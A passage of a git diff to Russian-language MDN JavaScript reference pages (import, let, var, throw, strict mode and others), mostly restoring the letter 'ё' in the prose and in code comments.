<code>iterable</code>, в порядке их создания. Он не выводит <strong>значения</strong> <code>3</code>, <code>5</code>, <code>7</code> и <code>hello</code> поскольку они <strong>не являются</strong> перечисляемыми, фактически они вообще не являются свойствами, они являются <strong>значениями</strong>. Выводятся же <strong>имена свойств и методов</strong>, например <code>arrCustom</code> и <code>objCustom</code>. Если вы ещё не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .</p> <pre class="notranslate"><code>for (let i in iterable) { if (iterable.hasOwnProperty(i)) { diff --git a/files/ru/web/javascript/reference/statements/for/index.html b/files/ru/web/javascript/reference/statements/for/index.html index 6b394ef5a5..080e4e8c61 100644 --- a/files/ru/web/javascript/reference/statements/for/index.html +++ b/files/ru/web/javascript/reference/statements/for/index.html @@ -52,7 +52,7 @@ for (; i < 9; i++) { } </pre> -<p>Как и блок инициализации, блок условия не обязателен. Если пропустите это выражение, вы должны быть уверены, что прервете цикл где-то в теле, а не создадите бесконечный цикл.</p> +<p>Как и блок инициализации, блок условия не обязателен. Если пропустите это выражение, вы должны быть уверены, что прервёте цикл где-то в теле, а не создадите бесконечный цикл.</p> <pre class="brush: js">for (var i = 0;; i++) { console.log(i); diff --git a/files/ru/web/javascript/reference/statements/import/index.html b/files/ru/web/javascript/reference/statements/import/index.html index d301e39327..99911d4f33 100644 --- a/files/ru/web/javascript/reference/statements/import/index.html +++ b/files/ru/web/javascript/reference/statements/import/index.html @@ -46,7 +46,7 @@ import("/module-name.js").then(module => {…}) // Динамический <dt><code>module-name</code></dt> <dd>Имя модуля для импорта. Это зачастую относительный или абсолютный путь к <code>.js</code> файлу модуля без указания расширения <code>.js</code>. Некоторые сборщики могут разрешать или даже требовать использования расширения; проверяйте своё рабочее окружение. Допускаются только строки с одиночными или двойными кавычками.</dd> <dt><code>name</code></dt> - <dd>Имя локального объекта, который будет использован как своего рода пространство имен, ссылающееся на импортируемые значения.</dd> + <dd>Имя локального объекта, который будет использован как своего рода пространство имён, ссылающееся на импортируемые значения.</dd> </dl> <dl> @@ -61,7 +61,7 @@ import("/module-name.js").then(module => {…}) // Динамический <h2 id="Описание">Описание</h2> -<p>Параметр <code>name</code> это имя локального объекта, который будет использован как своего рода пространство имен, ссылающееся на импортируемые значения. Параметры <code>export</code> определяют отдельные именованные значения, в то время как <code>import * as name</code> импортирует все значения. Примеры ниже объясняют синтаксис.</p> +<p>Параметр <code>name</code> это имя локального объекта, который будет использован как своего рода пространство имён, ссылающееся на импортируемые значения. Параметры <code>export</code> определяют отдельные именованные значения, в то время как <code>import * as name</code> импортирует все значения. Примеры ниже объясняют синтаксис.</p> <h3 id="Импорт_всего_содержимого_модуля">Импорт всего содержимого модуля</h3> @@ -69,13 +69,13 @@ import("/module-name.js").then(module => {…}) // Динамический <pre class="brush: js">import * as <em>myModule</em> from '/modules/my-module.js';</pre> -<p>В данном случае, доступ к импортируемым значениям можно осуществить с использованием имени модуля (в данном случае "myModule") в качестве пространства имен. Например, если импортируемый выше модуль включает в себя экспорт метода <code>doAllTheAmazingThings()</code>, вы можете вызвать его так:</p> +<p>В данном случае, доступ к импортируемым значениям можно осуществить с использованием имени модуля (в данном случае "myModule") в качестве пространства имён. Например, если импортируемый выше модуль включает в себя экспорт метода <code>doAllTheAmazingThings()</code>, вы можете вызвать его так:</p> <pre class="brush: js">myModule.doAllTheAmazingThings();</pre> <h3 id="Импорт_единичного_значения_из_модуля">Импорт единичного значения из модуля</h3> -<p>Определенное ранее значение, названное <code>myExport,</code> которое было экспортировано из модуля <code>my-module</code> либо неявно (если модуль был экспортирован целиком), либо явно (с использованием инструкции {{jsxref("Statements/export", "export")}}), позволяет вставить <code>myExport</code> в текущую область видимости.</p> +<p>Определённое ранее значение, названное <code>myExport,</code> которое было экспортировано из модуля <code>my-module</code> либо неявно (если модуль был экспортирован целиком), либо явно (с использованием инструкции {{jsxref("Statements/export", "export")}}), позволяет вставить <code>myExport</code> в текущую область видимости.</p> <pre class="brush: js">import {myExport} from '/modules/my-module.js';</pre> @@ -85,7 +85,7 @@ import("/module-name.js").then(module => {…}) // Динамический <pre class="brush: js">import {foo, bar} from '/modules/my-module.js';</pre> -<h3 id="Импорт_значений_с_использованием_более_удобных_имен">Импорт значений с использованием более удобных имен</h3> +<h3 id="Импорт_значений_с_использованием_более_удобных_имён">Импорт значений с использованием более удобных имён</h3> <p>Вы можете переименовать значения, когда импортируете их. Например, этот код вставляет <code>shortName</code> в текущую область видимости.</p> @@ -117,10 +117,10 @@ import("/module-name.js").then(module => {…}) // Динамический <pre class="brush: js">import myDefault from '/modules/my-module.js'; </pre> -<p>Возможно также использование такого синтаксиса с другими вариантами из перечисленных выше (импорт пространства имен или именованный импорт). В таком случае, импорт значения по умолчанию должен быть определён первым. Для примера:</p> +<p>Возможно также использование такого синтаксиса с другими вариантами из перечисленных выше (импорт пространства имён или именованный импорт). В таком случае, импорт значения по умолчанию должен быть определён первым. Для примера:</p> <pre class="brush: js">import myDefault, * as myModule from '/modules/my-module.js'; -// myModule использовано как пространство имен</pre> +// myModule использовано как пространство имён</pre> <p>или</p> diff --git a/files/ru/web/javascript/reference/statements/let/index.html b/files/ru/web/javascript/reference/statements/let/index.html index 2f38f7e7ca..df2a17de02 100644 --- a/files/ru/web/javascript/reference/statements/let/index.html +++ b/files/ru/web/javascript/reference/statements/let/index.html @@ -87,7 +87,7 @@ for (var i = 1; i <= 5; i++) { <p>Пример выше будет выполнен как и ожидается, так как пять экземпляров внутренней функции (анонимной) будут ссылаться на пять разных экземпляров переменной <code>i</code>. Пример будет выполнен неверно, если заменить директиву <code>let</code> на <code>var,</code> или удалить переменную <code>i</code> из параметров вложенной функции и использовать внешнюю переменную <code>i</code> во внутренней функции.</p> -<p id="Правила_области_видимости">На верхнем уровне скриптов и функций <code>let, в отличии от var, не создает свойства на глобальном объекте</code>. Например:</p> +<p id="Правила_области_видимости">На верхнем уровне скриптов и функций <code>let, в отличии от var, не создаёт свойства на глобальном объекте</code>. Например:</p> <pre class="brush:js">var x = 'global_x'; let y = 'global_y'; @@ -130,16 +130,16 @@ console.log(privateScope.hiddenProperty); // error</pre> <p>Эта техника позволяет получить только "статичное" приватное состояние - в примере выше, все экземпляры полученные из конструктора <code>SomeConstructor</code> будут ссылаться на одну и ту же область видимости <code>privateScope</code>.</p> -<h3 id="Временные_мертвые_зоны_и_ошибки_при_использовании_let">Временные мертвые зоны и ошибки при использовании <code>let</code></h3> +<h3 id="Временные_мёртвые_зоны_и_ошибки_при_использовании_let">Временные мёртвые зоны и ошибки при использовании <code>let</code></h3> -<p>Повторное объявление той же переменной в том же блоке или функции приведет к выбросу исключения <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>.</p> +<p>Повторное объявление той же переменной в том же блоке или функции приведёт к выбросу исключения <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>.</p> <pre class="brush: js">if (x) { let foo; let foo; // SyntaxError thrown. }</pre> -<p>В стандарте ECMAScript 2015 переменные, объявленные директивой let, переносятся в начало блока. Но если вы сошлетесь в блоке на переменную, до того как она объявлена директивой let, то это приведет к выбросу исключения <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError" title="TypeError">ReferenceError</a></code>, потому что переменная находится во "временной мертвой зоне" с начала блока и до места ее объявления. (В отличии от переменной, объявленной через <code>var</code>, которая просто будет содержать значение <code>undefined</code>)</p> +<p>В стандарте ECMAScript 2015 переменные, объявленные директивой let, переносятся в начало блока. Но если вы сошлётесь в блоке на переменную, до того как она объявлена директивой let, то это приведёт к выбросу исключения <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError" title="TypeError">ReferenceError</a></code>, потому что переменная находится во "временной мёртвой зоне" с начала блока и до места её объявления. (В отличии от переменной, объявленной через <code>var</code>, которая просто будет содержать значение <code>undefined</code>)</p> <pre class="brush: js"><code>function do_something() { console.log(bar); // undefined @@ -175,7 +175,7 @@ for ( let i=i ; i < 10 ; i++ ) { <pre class="brush: js">for (let <var>expr1</var>; <var>expr2</var>; <var>expr3</var>) <var>statement</var> </pre> -<p>В этом примере <var>expr2</var>, <var>expr3, statement </var> заключены в неявный блок, который содержит блок локальных переменных, объявленных конструкцией <code>let <em>expr1</em></code>. Пример приведен выше.</p> +<p>В этом примере <var>expr2</var>, <var>expr3, statement </var> заключены в неявный блок, который содержит блок локальных переменных, объявленных конструкцией <code>let <em>expr1</em></code>. Пример приведён выше.</p> <h2 id="Примеры">Примеры</h2> @@ -224,7 +224,7 @@ console.log(i); // i is not defined</pre> <h4 id="Описание_2">Описание</h4> -<p><strong><code>let</code> </strong>блок предоставляет локальную область видимости для переменных. Работа его заключается в привязке нуля или более переменных к области видимости этого блока кода, другими словами, он является блоком операторов. Отметим, что область видимости переменных, объявленных директивой <code>var</code>, в <strong>блоке <code>let</code></strong>, будет той же самой, что и если бы эти переменные были объявлены вне <strong>блока <code>let</code></strong>, иными словами областью видимости таких переменных по-прежнему является функция. Скобки в<strong> блоке </strong><code><strong>let</strong></code> являются обязательными. Опускание их приведет к синтаксической ошибке.</p> +<p><strong><code>let</code> </strong>блок предоставляет локальную область видимости для переменных. Работа его заключается в привязке нуля или более переменных к области видимости этого блока кода, другими словами, он является блоком операторов. Отметим, что область видимости переменных, объявленных директивой <code>var</code>, в <strong>блоке <code>let</code></strong>, будет той же самой, что и если бы эти переменные были объявлены вне <strong>блока <code>let</code></strong>, иными словами областью видимости таких переменных по-прежнему является функция. Скобки в<strong> блоке </strong><code><strong>let</strong></code> являются обязательными. Опускание их приведёт к синтаксической ошибке.</p> <h4 id="Пример">Пример</h4> @@ -408,7 +408,7 @@ console.log(a); // 5</pre> <ul> <li>До SpiderMonkey 46 {{geckoRelease(46)}} выбрасывал {{jsxref("TypeError")}} на повторное объявление, вместо {{jsxref("SyntaxError")}} ({{bug(1198833)}}).</li> - <li>До SpiderMonkey 44 {{geckoRelease(44)}}, <code>let</code> был доступен только для блоков кода обернутых в HTML <code><script type="application/javascript;version=1.7"></code>block (or higher version) и имел другую семантику.</li> - <li>Поддержка в {{domxref("Worker")}} код спрятан за <code>dom.workers.latestJSVersion</code> флагом ({{bug(487070)}}). Без версии <code>let</code>, флаг будет удален в будущем ({{bug(1219523)}}).</li> + <li>До SpiderMonkey 44 {{geckoRelease(44)}}, <code>let</code> был доступен только для блоков кода обёрнутых в HTML <code><script type="application/javascript;version=1.7"></code>block (or higher version) и имел другую семантику.</li> + <li>Поддержка в {{domxref("Worker")}} код спрятан за <code>dom.workers.latestJSVersion</code> флагом ({{bug(487070)}}). Без версии <code>let</code>, флаг будет удалён в будущем ({{bug(1219523)}}).</li> <li>Соблюдение стандарта ES2015 для <code>let</code> в SpIderMonkey отслеживается в {{bug(950547)}}</li> </ul> diff --git a/files/ru/web/javascript/reference/statements/return/index.html b/files/ru/web/javascript/reference/statements/return/index.html index 37f44af769..7859580049 100644 --- a/files/ru/web/javascript/reference/statements/return/index.html +++ b/files/ru/web/javascript/reference/statements/return/index.html @@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Reference/Statements/return <h2 id="Описание">Описание</h2> -<p>При вызове оператора <code>return</code> в функции её выполнение прекращается. Указанное значение возвращается в место вызова функции. Например, приведенная ниже функция возвращает возведенное в квадрат значение своего аргумента, <code>x</code> (где <code>x</code> – это число):</p> +<p>При вызове оператора <code>return</code> в функции её выполнение прекращается. Указанное значение возвращается в место вызова функции. Например, приведённая ниже функция возвращает возведённое в квадрат значение своего аргумента, <code>x</code> (где <code>x</code> – это число):</p> <pre class="brush: js">function square(x) { return x * x; diff --git a/files/ru/web/javascript/reference/statements/throw/index.html b/files/ru/web/javascript/reference/statements/throw/index.html index 1ba0dc149a..7dfceb09c3 100644 --- a/files/ru/web/javascript/reference/statements/throw/index.html +++ b/files/ru/web/javascript/reference/statements/throw/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Statements/throw <h2 id="Description" name="Description">Описание</h2> -<p>Используйте инструкцию throw для генерирования исключения. Когда вы генерируете исключение (throw), <em>выражение</em> задает значение исключения. Каждое из следующих throw создает исключение:</p> +<p>Используйте инструкцию throw для генерирования исключения. Когда вы генерируете исключение (throw), <em>выражение</em> задаёт значение исключения. Каждое из следующих throw создаёт исключение:</p> <pre class="brush: js">throw "Error2"; // генерирует исключение, значением которого является строка throw 42; // генерирует исключение, значением которого является число 42 @@ -35,11 +35,11 @@ throw true; // генерирует исключение, значением <h3 id="Example:_Throw_an_object" name="Example:_Throw_an_object">Пример: Генерирование объекта в качестве исключения</h3> -<p>Можно указать объект в качестве исключения. Затем можно получить ссылку на этот объект и доступ ко всем его свойствам в блоке catch. Следующий пример создает объект ошибки, который имеет тип UserException, и используется для генерации исключения.</p> +<p>Можно указать объект в качестве исключения. Затем можно получить ссылку на этот объект и доступ ко всем его свойствам в блоке catch. Следующий пример создаёт объект ошибки, который имеет тип UserException, и используется для генерации исключения.</p> <pre class="brush: js">function UserException(message) { this.message = message; - this.name = "Исключение, определенное пользователем"; + this.name = "Исключение, определённое пользователем"; } function getMonthName(mo) { mo = mo-1; // Нужно скорректировать номер месяца согласно индексам массива (1=Jan, 12=Dec) @@ -54,11 +54,11 @@ function getMonthName(mo) { try { // statements to try - var myMonth = 15; // 15 находится вне границ массива, что приведет к исключению + var myMonth = 15; // 15 находится вне границ массива, что приведёт к исключению var monthName = getMonthName(myMonth); } catch (e) { monthName = "неизвестен"; - logMyErrors(e.message, e.name); // передаем исключение в обработчик ошибок + logMyErrors(e.message, e.name); // передаём исключение в обработчик ошибок } </pre> @@ -67,7 +67,7 @@ try { <p>Следующий пример проверяет, является ли строка, переданная в функцию, почтовым индексом США. Если индекс имеет недопустимый формат, будет сгенерировано исключение посредством создания объекта, имеющего тип <code>ZipCodeFormatException</code>.</p> <pre class="brush: js">/* - * Создает объект ZipCode. + * Создаёт объект ZipCode. * * Допустимые форматы почтового индекса: * 12345 @@ -125,16 +125,16 @@ function verifyZipCode(z) { return z; } -a = verifyZipCode(95060); // вернет 95060 -b = verifyZipCode(9560); // вернет -1 -c = verifyZipCode("a"); // вернет -1 -d = verifyZipCode("95060"); // вернет 95060 -e = verifyZipCode("95060 1234"); // вернет 95060 1234 +a = verifyZipCode(95060); // вернёт 95060 +b = verifyZipCode(9560); // вернёт -1 +c = verifyZipCode("a"); // вернёт -1 +d = verifyZipCode("95060"); // вернёт 95060 +e = verifyZipCode("95060 1234"); // вернёт 95060 1234 </pre> <h3 id="Example:_Rethrow_an_exception" name="Example:_Rethrow_an_exception">Пример: Повторный выброс исключения</h3> -<p>Можно использовать throw для повторного выброса исключения после того, как оно было поймано. В следующем примере ловится исключение с числовым значением и делается повторный выброс, если его значение больше 50. Повторно выброшенное исключение передается далее в вызывающую функцию или до верхнего уровня, который видит пользователь.</p> +<p>Можно использовать throw для повторного выброса исключения после того, как оно было поймано. В следующем примере ловится исключение с числовым значением и делается повторный выброс, если его значение больше 50. Повторно выброшенное исключение передаётся далее в вызывающую функцию или до верхнего уровня, который видит пользователь.</p> <pre class="brush: js">try { throw n; // бросаем исключение с числовым значением diff --git a/files/ru/web/javascript/reference/statements/try...catch/index.html b/files/ru/web/javascript/reference/statements/try...catch/index.html index 241bc90d83..a18bf95b37 100644 --- a/files/ru/web/javascript/reference/statements/try...catch/index.html +++ b/files/ru/web/javascript/reference/statements/try...catch/index.html @@ -86,7 +86,7 @@ catch (e) { } </pre> -<p>Блок <code>catch</code> задает идентификатор (<code>e</code> в примере выше) который содержит объект исключения (в примере выше — значение, переданное оператору <code>throw</code>). Область видимости этого объекта ограничивается блоком <code>catch</code>.</p> +<p>Блок <code>catch</code> задаёт идентификатор (<code>e</code> в примере выше) который содержит объект исключения (в примере выше — значение, переданное оператору <code>throw</code>). Область видимости этого объекта ограничивается блоком <code>catch</code>.</p> <h3 id="Условный_блок_catch">Условный блок <code>catch</code></h3> diff --git a/files/ru/web/javascript/reference/statements/var/index.html b/files/ru/web/javascript/reference/statements/var/index.html index fd0ca7f862..78b2f5edcd 100644 --- a/files/ru/web/javascript/reference/statements/var/index.html +++ b/files/ru/web/javascript/reference/statements/var/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/var --- <div>{{jsSidebar("Statements")}}</div> -<p>Оператор <strong>var </strong>объявляет переменную, инициализируя ее, при необходимости.</p> +<p>Оператор <strong>var </strong>объявляет переменную, инициализируя её, при необходимости.</p> <p>{{EmbedInteractiveExample("pages/js/statement-var.html")}}</p> @@ -80,7 +80,7 @@ bla = 2; <p>Поэтому объявление переменных рекомендовано выносить в начало их области видимости (в начало глобального кода или в начало функции). Это даёт понять какие переменные принадлежат функции (т.е. являются локальными), а какие обрабатываются в цепи областей видимости (т.е. являются глобальными).</p> -<p>Важно отметить, что подъем будет влиять на объявление переменной, но не на инициализацию ее значения. Значение присваивается при выполнении оператора присваивания:</p> +<p>Важно отметить, что подъем будет влиять на объявление переменной, но не на инициализацию её значения. Значение присваивается при выполнении оператора присваивания:</p> <pre class="brush: js">function do_something() { console.log(bar); // выведет undefined @@ -153,7 +153,7 @@ console.log(x, y);</pre> <pre class="brush: js">var x = 0; // x объявлена глобально, затем присваивается значение 0 -console.log(typeof z); // undefined, пока еще z не существует +console.log(typeof z); // undefined, пока ещё z не существует function a() { // когда функция a вызвана, var y = 2; // y объявляется локально в функции a, затем присваивается 2 @@ -163,10 +163,10 @@ function a() { // когда функция a вызвана, function b() { // когда функция b вызвана x = 3; // присваивается 3 существующей глобальной x y = 4; // присваивается 4 существующей внешней y - z = 5; // создается новая глобальная переменная z и присваивается значение 5. + z = 5; // создаётся новая глобальная переменная z и присваивается значение 5. } // (Порождает ReferenceError в strict mode(<em>строгом</em> режиме).) - b(); // вызов b создает z как глобальную переменную + b(); // вызов b создаёт z как глобальную переменную console.log(x, y, z); // 3 4 5 } diff --git a/files/ru/web/javascript/reference/statements/while/index.html b/files/ru/web/javascript/reference/statements/while/index.html index 1baf54a1f4..4c367fc488 100644 --- a/files/ru/web/javascript/reference/statements/while/index.html +++ b/files/ru/web/javascript/reference/statements/while/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Statements/while --- <div>{{jsSidebar("Statements")}}</div> -<p><strong>Оператор while</strong> создает цикл, выполняющий заданную инструкцию, пока истинно проверяемое условие. Логическое значение условия вычисляется перед исполнением тела цикла.</p> +<p><strong>Оператор while</strong> создаёт цикл, выполняющий заданную инструкцию, пока истинно проверяемое условие. Логическое значение условия вычисляется перед исполнением тела цикла.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/statements/with/index.html b/files/ru/web/javascript/reference/statements/with/index.html index 208863d500..e28aedee90 100644 --- a/files/ru/web/javascript/reference/statements/with/index.html +++ b/files/ru/web/javascript/reference/statements/with/index.html @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Statements/with <p><strong>Pro:</strong> Оператор <strong>with</strong> может помочь уменьшить размер файла, уменьшив необходимость повторять длинную ссылку на объект без снижения производительности. Изменение цепочки контекста, необходимое для 'with', не требует больших вычислительных затрат. Использование 'with' избавит интерпретатор от разбора повторных ссылок на объекты. Однако, обратите внимание, что во многих случаях это преимущество может быть достигнуто с помощью временной переменной для хранения ссылки на нужный объект.</p> -<p><strong>Contra:</strong> Оператор <strong>with</strong> заставляет указанный объект быть найденным сначала среди всех имен поиска. Поэтому все идентификаторы, которые не относятся к указанному объекту, будут обнаруживаться медленнее в блоке «<strong>with</strong>. Там, где важна производительность, «with» следует использовать только для охвата блоков кода, которые обращаются к членам указанного объекта.</p> +<p><strong>Contra:</strong> Оператор <strong>with</strong> заставляет указанный объект быть найденным сначала среди всех имён поиска. Поэтому все идентификаторы, которые не относятся к указанному объекту, будут обнаруживаться медленнее в блоке «<strong>with</strong>. Там, где важна производительность, «with» следует использовать только для охвата блоков кода, которые обращаются к членам указанного объекта.</p> <h3 id="Ambiguity_contra">Ambiguity contra</h3> diff --git a/files/ru/web/javascript/reference/strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/index.html index 7b35f93897..fbf4446b55 100644 --- a/files/ru/web/javascript/reference/strict_mode/index.html +++ b/files/ru/web/javascript/reference/strict_mode/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Strict_mode --- <div>{{JsSidebar("More")}}</div> -<p>Режим <em>strict</em> (<em>строгий</em> режим), введенный в <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a>, позволяет использовать более строгий вариант JavaScript. Это не просто подмножество языка: в нем сознательно используется семантика, отличающаяся от обычно принятой. Не поддерживающие строгий режим браузеры будут по-другому выполнять код, написанный для строгого режима, поэтому не полагайтесь на строгий режим без тестирования поддержки используемых особенностей этого режима. Строгий и обычный режим могут сосуществовать одновременно, а скрипт может переключаться в строгий режим по мере надобности.</p> +<p>Режим <em>strict</em> (<em>строгий</em> режим), введённый в <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a>, позволяет использовать более строгий вариант JavaScript. Это не просто подмножество языка: в нем сознательно используется семантика, отличающаяся от обычно принятой. Не поддерживающие строгий режим браузеры будут по-другому выполнять код, написанный для строгого режима, поэтому не полагайтесь на строгий режим без тестирования поддержки используемых особенностей этого режима. Строгий и обычный режим могут сосуществовать одновременно, а скрипт может переключаться в строгий режим по мере надобности.</p> <p>Строгий режим принёс ряд изменений в обычную семантику JavaScript. Во-первых, строгий режим заменяет исключениями некоторые ошибки, которые интерпретатор JavaScript ранее молча пропускал. Во-вторых, строгий режим исправляет ошибки, которые мешали движкам JavaScript выполнять оптимизацию -- в некоторых случаях код в строгом режиме может быть оптимизирован для более быстрого выполнения, чем код в обычном режиме. В-третьих, строгий режим запрещает использовать некоторые элементы синтаксиса, которые, вероятно, в следующих версиях ECMAScript получат особый смысл.</p> @@ -18,11 +18,11 @@ translation_of: Web/JavaScript/Reference/Strict_mode <h2 id="Активизация_строгого_режима">Активизация строгого режима</h2> -<p>Строгий режим применяется ко <em>всему скрипту</em> или к <em>отдельным функциям</em>. Он не может быть применён к блокам операторов, заключенных в фигурные скобки -- попытка использовать его в подобном контексте будет проигнорирована. Код в <code>eval</code>, <code>Function</code>, в атрибутах обработчиков событий, в строках, переданных в <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout"><code>setTimeout</code></a>, и т.п. рассматривается как законченный скрипт, и активизация строгого режима в нём выполняется ожидаемым образом.</p> +<p>Строгий режим применяется ко <em>всему скрипту</em> или к <em>отдельным функциям</em>. Он не может быть применён к блокам операторов, заключённых в фигурные скобки -- попытка использовать его в подобном контексте будет проигнорирована. Код в <code>eval</code>, <code>Function</code>, в атрибутах обработчиков событий, в строках, переданных в <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout"><code>setTimeout</code></a>, и т.п. рассматривается как законченный скрипт, и активизация строгого режима в нём выполняется ожидаемым образом.</p> <h3 id="Строгий_режим_для_скриптов">Строгий режим для скриптов</h3> -<p>Чтобы активизировать строгий режим для всего скрипта, нужно поместить оператор <code>"use strict";</code> или <code>'use strict';</code> перед всеми остальными операторами скрипта (выдержать приведенный синтаксис буквально).</p> +<p>Чтобы активизировать строгий режим для всего скрипта, нужно поместить оператор <code>"use strict";</code> или <code>'use strict';</code> перед всеми остальными операторами скрипта (выдержать приведённый синтаксис буквально).</p> <pre class="brush: js">// Синтаксис переключения в строгий режим всего скрипта "use strict"; @@ -74,11 +74,11 @@ mistypeVaraible = 17; // mistypedVaraible, эта строка выбросит <pre class="brush: js">"use strict"; -<code>// Присваивание значения глобальной переменной, защищенной от записи +<code>// Присваивание значения глобальной переменной, защищённой от записи var undefined = 5; // выдаст TypeError var Infinity = 5; // выдаст TypeError </code> -// Присваивание значения свойству, защищенному от записи +// Присваивание значения свойству, защищённому от записи var obj1 = {}; Object.defineProperty(obj1, "x", { value: 42, writable: false }); obj1.x = 9; // выдаст TypeError @@ -133,7 +133,7 @@ var sum = 015 + // !!! синтаксическая ошибка console.log(sumWithOctal); // 16</code> </pre> -<p>В-седьмых, строгий режим в ECMAScript 2015 запрещает установку свойств {{Glossary("primitive")}} значениям. Без строгого режима, установка свойств просто игнорируется (no-op), со строгим режимом, однако, выдает {{jsxref ("TypeError")}}.</p> +<p>В-седьмых, строгий режим в ECMAScript 2015 запрещает установку свойств {{Glossary("primitive")}} значениям. Без строгого режима, установка свойств просто игнорируется (no-op), со строгим режимом, однако, выдаёт {{jsxref ("TypeError")}}.</p> <pre><code>(function() { 'use strict'; @@ -146,7 +146,7 @@ false.true = ''; // TypeError <h3 id="Упрощение_работы_с_переменными">Упрощение работы с переменными</h3> -<p>Строгий режим упрощает сопоставление имени переменной с местом ее определения в коде. Многие оптимизации времени компиляции полагаются на возможность считать, что переменная <em>X</em> хранится в <em>этом конкретном </em>месте исходного кода. Иногда, при компиляции JavaScript простое сопоставление имени переменной с местом ее определения в коде не возможно, без выполнения того самого кода. Строгий же режим исключает большинство таких случаев, благодаря чему оптимизации компилятора работают эффективнее.</p> +<p>Строгий режим упрощает сопоставление имени переменной с местом её определения в коде. Многие оптимизации времени компиляции полагаются на возможность считать, что переменная <em>X</em> хранится в <em>этом конкретном </em>месте исходного кода. Иногда, при компиляции JavaScript простое сопоставление имени переменной с местом её определения в коде не возможно, без выполнения того самого кода. Строгий же режим исключает большинство таких случаев, благодаря чему оптимизации компилятора работают эффективнее.</p> <p>Во-первых, строгий режим запрещает использование <code>with</code>. Проблема с <code>with</code> в том, что во время выполнения любое имя внутри блока может ссылаться как на свойство обрабатываемого объекта, так и на переменную в окружающем (или даже в глобальном) контексте -- невозможно знать об этом заранее. Строгий режим считает <code>with</code> синтаксической ошибкой, поэтому не остаётся шанса использовать имя переменной внутри <code>with</code> для ссылки на неизвестное место во время выполнения:</p> @@ -206,7 +206,7 @@ eval('var y; delete y;'); // !!! </code>синтаксическая ошибк <h3 id="Упрощение_eval_и_arguments">Упрощение <code>eval</code> и <code>arguments</code></h3> -<p>В строгом режиме снижается количество странностей в поведении <code>arguments</code> и <code>eval</code>, оба из которых примешивают определённое количество магии в обычный код. Так <code>eval</code> добавляет или удаляет переменные и меняет их значения, а переменная <code>arguments</code> может удивить своими проиндексированными свойствами, которые являются ссылками (синонимами) для поименованных аргументов функции. Строгий режим делает большой шаг в прояснении этих двух ключевых слов, но полное их обуздание произойдет лишь в следующей редакции ECMAScript.</p> +<p>В строгом режиме снижается количество странностей в поведении <code>arguments</code> и <code>eval</code>, оба из которых примешивают определённое количество магии в обычный код. Так <code>eval</code> добавляет или удаляет переменные и меняет их значения, а переменная <code>arguments</code> может удивить своими проиндексированными свойствами, которые являются ссылками (синонимами) для поименованных аргументов функции. Строгий режим делает большой шаг в прояснении этих двух ключевых слов, но полное их обуздание произойдёт лишь в следующей редакции ECMAScript.</p> <p>Во-первых, ключевые слова <code>eval</code> и <code>arguments</code> не могут быть переопределены или изменены. Все подобные попытки это сделать являются синтаксическими ошибками:</p> @@ -235,7 +235,7 @@ console.assert(pair[0] === 42); console.assert(pair[1] === 17); </pre> -<p>В-третьих, свойство <code>arguments.callee</code> больше не поддерживается. В обычном коде свойство <code>arguments.callee</code> ссылается на саму функцию для вызова которой и был создан объект <code>arguments</code>. Малоприменимое свойство, так как функция заранее известна, и к ней можно обратиться и по ее имени непосредственно. Более того, <code>arguments.callee</code> значительно затрудняет такую оптимизацию, как <a href="https://ru.wikipedia.org/wiki/Межпроцедурная_оптимизация#Инлайнинг">инлайнинг</a>, потому как должна быть сохранена возможность обратиться к незаинлайненой функции на случай, если присутствует обращение к arguments.callee. В строгом режиме arguments.callee превращается в неудаляемое свойство, которое выбрасывает предостерегающее исключение при любой попытке обращения к нему:</p> +<p>В-третьих, свойство <code>arguments.callee</code> больше не поддерживается. В обычном коде свойство <code>arguments.callee</code> ссылается на саму функцию для вызова которой и был создан объект <code>arguments</code>. Малоприменимое свойство, так как функция заранее известна, и к ней можно обратиться и по её имени непосредственно. Более того, <code>arguments.callee</code> значительно затрудняет такую оптимизацию, как <a href="https://ru.wikipedia.org/wiki/Межпроцедурная_оптимизация#Инлайнинг">инлайнинг</a>, потому как должна быть сохранена возможность обратиться к незаинлайненой функции на случай, если присутствует обращение к arguments.callee. В строгом режиме arguments.callee превращается в неудаляемое свойство, которое выбрасывает предостерегающее исключение при любой попытке обращения к нему:</p> <pre class="brush: js">"use strict"; var f = function() { return arguments.callee; }; @@ -244,7 +244,7 @@ f(); // выдаст TypeError <h3 id="Безопасный_JavaScript">"Безопасный" JavaScript</h3> -<p>Строгий режим упрощает написание "безопасного" JavaScript кода. Сейчас некоторые веб-сайты предоставляют пользователям возможность писать JavaScript, который будет выполняться на сайте <em>от имени других пользователей. </em>В браузерах, JavaScript может иметь доступ к приватной информации пользователя, поэтому, в целях ограничения доступа к запретной функциональности, такой JavaScript перед выполнением должен быть частично преобразован. Гибкость JavaScript делает это практически невозможным без многочисленных проверок во время исполнения. Функционал, исполняемый языком иногда столь массивен, что выполнение любых дополнительных проверок во время исполнения скрипта приведет к значительной потере производительности. Однако, некоторые особенности строгого режима, плюс обязательное требование того, чтобы JavaScript, загруженный пользователем, имел строгий режим и вызывался определенным способом, существенно снижают потребность в таких проверках.</p> +<p>Строгий режим упрощает написание "безопасного" JavaScript кода. Сейчас некоторые веб-сайты предоставляют пользователям возможность писать JavaScript, который будет выполняться на сайте <em>от имени других пользователей. </em>В браузерах, JavaScript может иметь доступ к приватной информации пользователя, поэтому, в целях ограничения доступа к запретной функциональности, такой JavaScript перед выполнением должен быть частично преобразован. Гибкость JavaScript 